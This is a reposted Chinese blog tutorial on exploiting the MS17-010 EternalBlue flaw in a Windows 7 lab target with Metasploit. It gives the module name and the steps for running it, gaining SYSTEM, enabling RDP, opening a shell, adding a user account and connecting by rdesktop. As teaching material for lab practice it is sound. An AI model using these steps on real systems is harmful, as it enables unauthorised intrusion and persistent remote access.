1、你要找到自己要攻击的靶机的ip(win7或者win2008)
2、进行nmap扫描（攻击机kali）
我这里靶机是win7，可以看到445端口是开着的，那我们就可以开始攻击了
3、打开msfconsole，攻击模块
4、用search查找17-010
5、进入这个漏洞：use exploit/windows/smb/ms17_010_eternalblue
6、进入后先：show options（查看要设置的参数）
7、设置参数
8、show targets （查看可攻击的系统）
9、我前边说了，我的靶机是win7，这里选择系统也是选择win7，设置的时候只用选择前边的ID就可以了
10、设置好了我们输入：run（跑一下）
11、我们功进来了就先提权，输入：getuid（拿到“SYSTEM ”权限）
12、开启远程桌面：meterpreter > run post/windows/manage/enable_rdp
13、输入：shell，进入dos命令下，进入后再在输入：chcp 65001（取消乱码）
14、创建用户，和把用户添加到组里下图非常详细，直接按步骤输入就行了
15、ctrl+shift=T新建一个终端连接远程桌面，输入：rdesktop 192.168.1.40
标签：
网络安全
本文转载自: https://blog.csdn.net/weixin_62490257/article/details/125526106
版权归原作者 初学人 所有， 如有侵权，请联系我们删除。
版权归原作者 初学人 所有， 如有侵权，请联系我们删除。